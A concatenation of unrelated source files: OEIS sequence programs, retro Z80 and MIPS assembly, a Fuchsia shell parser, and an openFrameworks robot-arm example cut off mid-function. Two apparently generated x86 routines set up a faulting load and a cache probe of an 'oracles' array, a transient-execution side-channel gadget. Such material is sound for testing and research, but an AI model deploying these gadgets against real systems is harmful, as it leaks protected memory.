{'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_PSE'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}} {'46': 98, '48': 21496, '00': 223, '49': 12} 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 46 48 00 48 00 48 46 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 46 48 46 48 46 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 */
; A130614: a(n) = p^(p-2), where p = prime(n). ; Submitted by Jon Maiga ; 1,3,125,16807,2357947691,1792160394037,2862423051509815793,5480386857784802185939,39471584120695485887249589623,3053134545970524535745336759489912159909,17761887753093897979823770061456102763834271,7710105884424969623139759010953858981831553019262380893,791717805254439023624865699561776475898803884688668051353443161,9380082945933081406113456619151991432292083579779389915131296484043,1755511210260049172778020908173078657717675374080672665297567056535308458607 seq $0,40 ; The prime numbers. mov $2,$0 sub $0,2 pow $2,$0 mov $0,$2
; A020838: Expansion of 1/((1-7x)(1-8x)(1-10x)). ; Submitted by Jamie Morken(s2) ; 1,25,419,5885,74811,892605,10199659,113009005,1223954171,13030808285,136920690699,1424085096525,14693717768731,150657001125565,1537006821834539,15618310264486445,158202271944562491,1598408704357196445,16116803336462447179,162241162602933706765,1631076452202108559451,16380641677267340812925,164369343835692032864619,1648224223608409407445485,16518680099327387271263611,165479644967839882252007005,1657148588955264546589342859,16590368716129934792727750605,166055209760454207281913058971 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 add $1,$2 mul $1,8 mul $2,10 mul $3,7 lpe mov $0,$1 div $0,8
; ----- void __CALLEE__ cplot_callee(int x, int y, int c) SECTION code_graphics PUBLIC cplot_callee PUBLIC _cplot_callee PUBLIC asm_cplot EXTERN swapgfxbk EXTERN swapgfxbk1 EXTERN __gfx_color EXTERN w_cplotpixel INCLUDE "graphics/grafix.inc" .cplot_callee ._cplot_callee pop af pop bc pop de pop hl push af .asm_cplot ld a,c ld (__gfx_color),a IF NEED_swapgfxbk = 1 call swapgfxbk ENDIF call w_cplotpixel IF NEED_swapgfxbk = 1 jp swapgfxbk1 ELSE ret ENDIF
# Variaveis associadas aos registradores: # endBase -> $16 # k -> $17 # x -> $18 # y -> $19 .data x: .word 3 y: .word 4 .text .globl main main: addi $8, $0, 0x1001 # t0 = 0x00001001 sll $16, $8, 0x10 # t0 = 0x10010000 lw $18, 0x0($16) # x = mem[0 + endBase] lw $19, 0x4($16) # y = mem[4 + endBase] add $17, $0, $10 # k = x^y add $8, $0, $18 # t0 = x add $10, $0, $19 # t2 = y add $10, $10, -1 # t2 = y - 1 doExterno: add $9, $0, $18 # t1 = x add $11, $0, $0 # t3 = 0 doInterno: add $11, $11, $8 # t3 = t3 + t0 addi $9, $9, -1 # t1 = t1 - 1 bne $9, $0, doInterno # if (t1 != 0) goto doInterno add $8, $0, $11 # t0 = t3 addi $10, $10, -1 # t2 = t2 - 1 bne $10, $0, doExterno # if (t2 != 0) goto doExterno add $17, $0, $11 # k = x^y sw $17, 0x8($16) # mem[8 + endBase] = k
db "RUSHING@" ; species name db "When running in a" next "straight line, it" next "can easily top 60" page "miles an hour. It" next "has a tough time" next "with curved roads.@"
// Copyright 2020 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/developer/shell/parser/parser.h" #include <lib/syslog/cpp/macros.h> #include "src/developer/shell/parser/ast.h" #include "src/developer/shell/parser/combinators.h" #include "src/developer/shell/parser/error.h" #include "src/developer/shell/parser/text_match.h" namespace shell::parser { namespace { ParseResult Whitespace(ParseResult prefix); // Create a parser that runs a sequence of parsers consecutively, with optional whitespace parsed // between each parser. fit::function<ParseResult(ParseResult)> WSSeq(fit::function<ParseResult(ParseResult)> first) { return Seq(Maybe(Whitespace), std::move(first), Maybe(Whitespace)); } template <typename... Args> fit::function<ParseResult(ParseResult)> WSSeq(fit::function<ParseResult(ParseResult)> first, Args... args) { return Seq(Maybe(Whitespace), std::move(first), WSSeq(std::move(args)...)); } ParseResult IdentifierCharacter(ParseResult prefix); // Parse a keyword. template <typename T = ast::Terminal> fit::function<ParseResult(ParseResult)> KW(const std::string& keyword) { return Seq(Token<T>(keyword), Alt(Not(IdentifierCharacter), ErInsert("Expected space"))); } // Parse a token. If it isn't there, insert an error. template <typename T = ast::Terminal> fit::function<ParseResult(ParseResult)> ExToken(const std::string& token) { return Alt(Token<T>(token), ErInsert("Expected '" + token + "'")); } // Token Rules ------------------------------------------------------------------------------------- ParseResult IdentifierCharacter(ParseResult prefix) { return CharGroup("a-zA-Z0-9_")(std::move(prefix)); } ParseResult Whitespace(ParseResult prefix) { return NT<ast::Whitespace>( OnePlus(Alt(AnyChar(" \n\r\t"), Seq(Token("#"), ZeroPlus(AnyCharBut("\n")), Token("\n")))))( std::move(prefix)); } ParseResult Digit(ParseResult prefix) { return CharGroup("0-9")(std::move(prefix)); } ParseResult HexDigit(ParseResult prefix) { return CharGroup("a-fA-F0-9")(std::move(prefix)); } ParseResult UnescapedIdentifier(ParseResult prefix) { return Token<ast::UnescapedIdentifier>(OnePlus(IdentifierCharacter))(std::move(prefix)); } ParseResult PathCharacter(ParseResult prefix) { return Seq(Not(Whitespace), AnyCharBut("`&;|/\\()[]{}"))(std::move(prefix)); } ParseResult PathElement(ParseResult prefix) { return Alt(Token<ast::PathEscape>(Seq(Token("\\"), AnyChar)), Token<ast::PathElement>(OnePlus(PathCharacter)), Seq(Token<ast::PathEscape>("`"), Token<ast::PathElement>(ZeroPlus(AnyCharBut("`"))), ExToken<ast::PathEscape>("`")))(std::move(prefix)); } // Grammar Rules ----------------------------------------------------------------------------------- // Parses an identifier // myVariable ParseResult Identifier(ParseResult prefix) { return NT<ast::Identifier>(Seq(Alt(Not(Digit), ErInsert("Identifier cannot begin with a digit")), UnescapedIdentifier))(std::move(prefix)); } // Parses a root path with at least one element and no trailing slash // /foo // /foo/bar ParseResult RootPath(ParseResult prefix) { return OnePlus(Seq(Token<ast::PathSeparator>("/"), OnePlus(PathElement)))(std::move(prefix)); } // Parses a path // /foo // /foo/bar // /foo/bar/ // ./foo/bar/ // ./ // / // . ParseResult Path(ParseResult prefix) { return NT<ast::Path>(Alt(Seq(Maybe(Token<ast::PathElement>(".")), RootPath, Maybe(Token("/"))), Seq(Maybe(Token<ast::PathElement>(".")), Token<ast::PathSeparator>("/")), Token<ast::PathElement>(".")))(std::move(prefix)); } // Parses an unadorned decimal Integer // 0 // 12345 // 12_345 ParseResult DecimalInteger(ParseResult prefix) { return Alt( Seq(Token<ast::DecimalGroup>("0"), Not(Digit)), Seq(Not(Token("0")), Token<ast::DecimalGroup>(OnePlus(Digit)), ZeroPlus(Seq(Token("_"), Token<ast::DecimalGroup>(OnePlus(Digit))))))(std::move(prefix)); } // Parses a hexadecimal integer marked by '0x' // 0x1234abcd // 0x12_abcd ParseResult HexInteger(ParseResult prefix) { return Seq(Token("0x"), Seq(Token<ast::HexGroup>(OnePlus(HexDigit)), ZeroPlus(Seq(Token("_"), Token<ast::HexGroup>(OnePlus(HexDigit))))))( std::move(prefix)); } // Parses an integer. // 0 // 12345 // 12_345 // 0x1234abcd // 0x12_abcd ParseResult Integer(ParseResult prefix) { // TODO: Binary integers, once we ask the FIDL team about them. return NT<ast::Integer>(Alt(HexInteger, DecimalInteger))(std::move(prefix)); } // Parse a Real (unimplemented). ParseResult Real(ParseResult prefix) { return ParseResult::kEnd; } // Parses an escape sequence. // \n // \r // \xF0 ParseResult EscapeSequence(ParseResult prefix) { return Alt(Token<ast::EscapeSequence>("\\n"), Token<ast::EscapeSequence>("\\t"), Token<ast::EscapeSequence>("\\\n"), Token<ast::EscapeSequence>("\\r"), Token<ast::EscapeSequence>("\\\\"), Token<ast::EscapeSequence>("\\\""), Token<ast::EscapeSequence>(Seq(Token<ast::EscapeSequence>("\\u"), Multi(6, HexDigit))), Seq(Token("\\"), Alt(ErSkip("Bad escape sequence: '\\%MATCH%'", AnyChar), ErInsert("Escape sequence at end of input"))))(std::move(prefix)); } // Parses a sequence of characters that might be within a string body. // The quick brown fox jumped over the lazy dog. ParseResult StringEntity(ParseResult prefix) { return Alt(Token<ast::StringEntity>(OnePlus(AnyCharBut("\n\\\""))), EscapeSequence)(std::move(prefix)); } // Parses an ordinary string literal. // "The quick brown fox jumped over the lazy dog." // "A newline.\nA tab\tA code point\xF0" ParseResult NormalString(ParseResult prefix) { return NT<ast::String>(Seq(Token("\""), ZeroPlus(StringEntity), ExToken("\"")))( std::move(prefix)); } // Parse an ordinary string literal, or a multiline string literal. // "The quick brown fox jumped over the lazy dog." // "A newline.\nA tab\tA code point\xF0" // TODO: Decide on a MultiString syntax we like. ParseResult String(ParseResult prefix) { // return Alt(NormalString, MultiString)(prefix); return NormalString(std::move(prefix)); } // Parse an Atom (a simple literal value). // "The quick brown fox jumped over the lazy dog." // 0x1234abcd // my_variable // 3.2156 // ./some/path ParseResult Atom(ParseResult prefix) { return Alt(Identifier, String, Real, Integer, Path)(std::move(prefix)); } ParseResult LogicalOr(ParseResult prefix); const auto& SimpleExpression = LogicalOr; // Parse a field in an object literal. // foo: 6 // "bar & grill": "Open now" ParseResult Field(ParseResult prefix) { return NT<ast::Field>(WSSeq(Alt(NormalString, Identifier), ExToken<ast::FieldSeparator>(":"), SimpleExpression))(std::move(prefix)); } // Parse the body of an object literal. // foo: 6 // foo: 6, "bar & grill": "Open now", ParseResult ObjectBody(ParseResult prefix) { return WSSeq(Field, ZeroPlus(WSSeq(ExToken(","), Field)), Maybe(Token(",")))(std::move(prefix)); } // Parse an object literal. // {} // { foo: 6, "bar & grill": "Open now" } // { foo: { bar: 6 }, "bar & grill": "Open now" } ParseResult Object(ParseResult prefix) { return NT<ast::Object>(WSSeq(Token("{"), Maybe(ObjectBody), ExToken("}")))(std::move(prefix)); } // Parse a Value. // "The quick brown fox jumped over the lazy dog." // 0x1234abcd // { foo: 3, bar: 6 } ParseResult Value(ParseResult prefix) { /* Eventual full version of this rule is: return Alt(List, Object, Range, Lambda, Parenthetical, Block, If, Atom)(std::move(prefix)); */ return Alt(Object, Atom, ErInsert("Expected value"))(std::move(prefix)); } // Unimplemented. ParseResult Lookup(ParseResult prefix) { return Value(std::move(prefix)); } // Unimplemented. ParseResult Negate(ParseResult prefix) { return Lookup(std::move(prefix)); } // Unimplemented. ParseResult Mul(ParseResult prefix) { return Negate(std::move(prefix)); } // Parse an addition expression. // 2 + 2 ParseResult Add(ParseResult prefix) { return LAssoc<ast::AddSub>(Seq(Mul, Maybe(Whitespace)), WSSeq(Token<ast::Operator>(AnyChar("+-")), Mul))(std::move(prefix)); } // Unimplemented. ParseResult Comparison(ParseResult prefix) { return Add(std::move(prefix)); } // Unimplemented. ParseResult LogicalNot(ParseResult prefix) { return Comparison(std::move(prefix)); } // Unimplemented. ParseResult LogicalAnd(ParseResult prefix) { return LogicalNot(std::move(prefix)); } // Unimplemented. ParseResult LogicalOr(ParseResult prefix) { return LogicalAnd(std::move(prefix)); } // Parses an expression. This is effectively unimplemented right now. ParseResult Expression(ParseResult prefix) { // Unimplemented return NT<ast::Expression>(Alt(SimpleExpression, ErInsert("Expected expression")))( std::move(prefix)); } // Parses a variable declaration: // var foo = 4.5 // const foo = "Ham sandwich" ParseResult VariableDecl(ParseResult prefix) { return NT<ast::VariableDecl>(WSSeq(Alt(KW<ast::Var>("var"), KW<ast::Const>("const")), Identifier, Token("="), Expression))(std::move(prefix)); } // Parses the body of a program, but doesn't create an AST node. This is useful because the rule is // recursive, but we want to flatten its structure. ParseResult ProgramContent(ParseResult prefix) { /* Eventual full version of this rule is: return Alt(WSSeq(VariableDecl, Maybe(WSSeq(AnyChar(";&", "; or &"), ProgramMeta))), WSSeq(FunctionDecl, Program), WSSeq(Expression, Maybe(WSSeq(AnyChar(";&", "; or &"), ProgramMeta))), Empty)(std::move(prefix)); */ return Alt(WSSeq(VariableDecl, Maybe(WSSeq(AnyChar(";&"), ProgramContent))), Empty)(std::move(prefix)); } } // namespace std::shared_ptr<ast::Node> Parse(std::string_view text) { auto res = NT<ast::Program>(Alt(Seq(ProgramContent, EOS), ErSkip("Unrecoverable parse error", ZeroPlus(AnyChar))))(ParseResult(text)); FX_DCHECK(res) << "Incorrectly handled parse error."; return res.node(); } } // namespace shell::parser
; A057721: a(n) = n^4 + 3*n^2 + 1. ; 1,5,29,109,305,701,1405,2549,4289,6805,10301,15005,21169,29069,39005,51301,66305,84389,105949,131405,161201,195805,235709,281429,333505,392501,459005,533629,617009,709805,812701,926405,1051649 pow $0,2 mov $1,$0 add $1,1 pow $1,2 add $1,$0
; ; Amstrad CPC library ; ****************************************************** ; ** Librería de rutinas para Amstrad CPC ** ; ** Raúl Simarro, Artaburu 2009 ** ; ****************************************************** ; ; $Id: cpc_PrintStr.asm $ ; SECTION code_clib PUBLIC cpc_PrintStr PUBLIC _cpc_PrintStr EXTERN firmware INCLUDE "target/cpc/def/cpcfirm.def" .cpc_PrintStr ._cpc_PrintStr .bucle_imp_cadena ld a,(hl) or a ; cp 0 jr z,salir_bucle_imp_cadena call firmware defw txt_output inc hl jr bucle_imp_cadena .salir_bucle_imp_cadena ld a,$0d ; para terminar hace un salto de línea call firmware defw txt_output ld a,$0a call firmware defw txt_output ret
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x11e85, %rsi lea addresses_A_ht+0x15a05, %rdi nop nop nop nop xor $65163, %r14 mov $18, %rcx rep movsw nop nop nop dec %rdx lea addresses_D_ht+0x1b685, %rbp nop and %r10, %r10 mov (%rbp), %rdi nop xor $12883, %rdx lea addresses_A_ht+0x160f7, %rsi lea addresses_A_ht+0xba05, %rdi nop nop and %rbp, %rbp mov $23, %rcx rep movsq nop nop nop dec %rdi lea addresses_D_ht+0x79c5, %rcx nop nop nop nop add $45807, %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm3 vmovups %ymm3, (%rcx) nop nop inc %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi // Load lea addresses_PSE+0x11e9e, %r11 nop nop nop add %rax, %rax mov (%r11), %rbx nop cmp $51512, %rax // Store lea addresses_UC+0x16a0d, %rdx and %r8, %r8 mov $0x5152535455565758, %rbx movq %rbx, %xmm3 vmovups %ymm3, (%rdx) nop nop nop xor %rbx, %rbx // Store lea addresses_WT+0x11bdd, %r11 nop nop dec %r13 movb $0x51, (%r11) nop nop nop add %r15, %r15 // REPMOV lea addresses_US+0x485, %rsi lea addresses_RW+0x2223, %rdi nop nop nop inc %r11 mov $11, %rcx rep movsb // Exception!!! nop nop mov (0), %r11 nop nop nop nop nop cmp $36139, %r15 // Store mov $0xea9, %rdx dec %r13 mov $0x5152535455565758, %r11 movq %r11, (%rdx) // Exception!!! nop nop nop nop nop mov (0), %r11 nop nop nop sub $37555, %r13 // Load lea addresses_PSE+0x171d3, %r13 nop nop nop sub $10109, %rax mov (%r13), %rcx sub $48005, %rcx // Store lea addresses_PSE+0x9485, %rdi nop nop nop nop nop dec %r8 movb $0x51, (%rdi) nop sub $37313, %r15 // Faulty Load lea addresses_PSE+0x9485, %r13 nop nop nop nop nop add $50756, %rcx movb (%r13), %r8b lea oracles, %rax and $0xff, %r8 shlq $12, %r8 mov (%rax,%r8,1), %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'51': 303} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
//Copyright (c) 2016, Daniel Moore, Madaline Gannon, and The Frank-Ratchye STUDIO for Creative Inquiry All rights reserved. //-------------------------------------------------------------- // // // Follow Path on Surface Example // // //-------------------------------------------------------------- // // This example shows you how to: // 1. Import a 3D worksurface // 2. Project 2D paths onto the 3D surface // 3. Move & reiorient the robot to stay normal to the paths on the surface // 4. Retract & approach the surface using offsets // 5. Dynamically move the worksurface & paths using a vector or transformation matrix // // See the ReadMe for more tutorial details #include "ofApp.h" //-------------------------------------------------------------- void ofApp::setup(){ ofSetFrameRate(60); ofSetVerticalSync(true); ofBackground(0); ofSetLogLevel(OF_LOG_SILENT); setupViewports(); parameters.setup(); robot.setup("192.168.1.9", parameters); // <-- swap your robot's ip address here setupGUI(); positionGUI(); // generate dummy toolpaths vector<ofPolyline> toolpaths; for (int i=0; i<3; i++){ toolpaths.push_back(buildToolpath(ofVec3f(-.075+(.075*i),0,0))); } // add mesh and toolpaths to a new worksurface ofxAssimpModelLoader loader; loader.loadModel(ofToDataPath("mesh_srf.stl")); ofMesh mesh = loader.getMesh(0); workSrf.setup(mesh,toolpaths); // setup path controller paths.setup(workSrf.getPaths()); } //-------------------------------------------------------------- void ofApp::update(){ paths.update(); moveArm(); robot.update(); updateActiveCamera(); } //-------------------------------------------------------------- void ofApp::draw(){ ofSetColor(255,160); ofDrawBitmapString("OF FPS "+ofToString(ofGetFrameRate()), 30, ofGetWindowHeight()-50); ofDrawBitmapString("Robot FPS "+ofToString(robot.robot.getThreadFPS()), 30, ofGetWindowHeight()-65); gizmo.setViewDimensions(viewportSim.width, viewportSim.height); // show realtime robot cams[0]->begin(viewportReal); tcpNode.draw(); workSrf.draw(true,true,false,false); paths.draw(); robot.robot.model.draw(); cams[0]->end(); // show simulation robot cams[1]->begin(viewportSim); if (parameters.bFollow) gizmo.draw(*cams[1]); workSrf.draw(true,true,false,false); paths.draw(); robot.movement.draw(0); cams[1]->end(); drawGUI(); } void ofApp::moveArm(){ // assign the target pose to the current robot pose if(parameters.bCopy){ parameters.bCopy = false; parameters.targetTCP.rotation = ofQuaternion(90, ofVec3f(0, 0, 1)); parameters.targetTCP.rotation*=ofQuaternion(90, ofVec3f(1, 0, 0)); // get the robot's position parameters.targetTCP.position = parameters.actualTCP.position; parameters.targetTCP.rotation*=parameters.actualTCP.rotation; // update the gizmo controller tcpNode.setPosition(parameters.targetTCP.position*1000); tcpNode.setOrientation(parameters.targetTCP.rotation); gizmo.setNode(tcpNode); // update GUI params parameters.targetTCPPosition = parameters.targetTCP.position; parameters.targetTCPOrientation = ofVec4f(parameters.targetTCP.rotation.x(), parameters.targetTCP.rotation.y(), parameters.targetTCP.rotation.z(), parameters.targetTCP.rotation.w()); } else{ // update the tool tcp tcpNode.setTransformMatrix(gizmo.getMatrix()); } // follow a user-defined position and orientation if(parameters.bFollow){ parameters.targetTCP.position.interpolate(tcpNode.getPosition()/1000.0, parameters.followLerp); parameters.targetTCP.rotation = tcpNode.getOrientationQuat(); parameters.targetTCPOrientation = ofVec4f(parameters.targetTCP.rotation.x(), parameters.targetTCP.rotation.y(), parameters.targetTCP.rotation.z(), parameters.targetTCP.rotation.w()); } if (parameters.bMove){ ofMatrix4x4 orientation = paths.getNextPose(); parameters.targetTCP.position = orientation.getTranslation(); parameters.targetTCP.rotation = ofQuaternion(90, ofVec3f(0, 0, 1)); parameters.targetTCP.rotation*=ofQuaternion(90, ofVec3f(1, 0, 0)); parameters.targetTCP.rotation *= orientation.getRotate(); // update the gizmo controller tcpNode.setPosition(parameters.targetTCP.position*1000); tcpNode.setOrientation(parameters.targetTCP.rotation); gizmo.setNode(tcpNode); } } ofPolyline ofApp::buildToolpath(ofVec3f centroid){ ofPolyline path; float retract = .05; float res = 120; float radius = .05; float theta = 360/res; for (int i=0; i<res; i++){ ofPoint p = ofPoint(radius,0,0); p.rotate(theta*i, ofVec3f(0,0,1)); p += centroid; // add an approach point if (i==0){ p.z+=retract; // path.addVertex(p); // BUG: messes up Path3D's ptf p.z -=retract; } path.addVertex(p); // add a retract point if (i==res-1){ p.z+=retract; path.addVertex(p); } } // path.close(); return path; } void ofApp::setupViewports(){ viewportReal = ofRectangle((21*ofGetWindowWidth()/24)/2, 0, (21*ofGetWindowWidth()/24)/2, 8*ofGetWindowHeight()/8); viewportSim = ofRectangle(0, 0, (21*ofGetWindowWidth()/24)/2, 8*ofGetWindowHeight()/8); activeCam = 0; for(int i = 0; i < N_CAMERAS; i++){ cams.push_back(new ofEasyCam()); savedCamMats.push_back(ofMatrix4x4()); viewportLabels.push_back(""); } 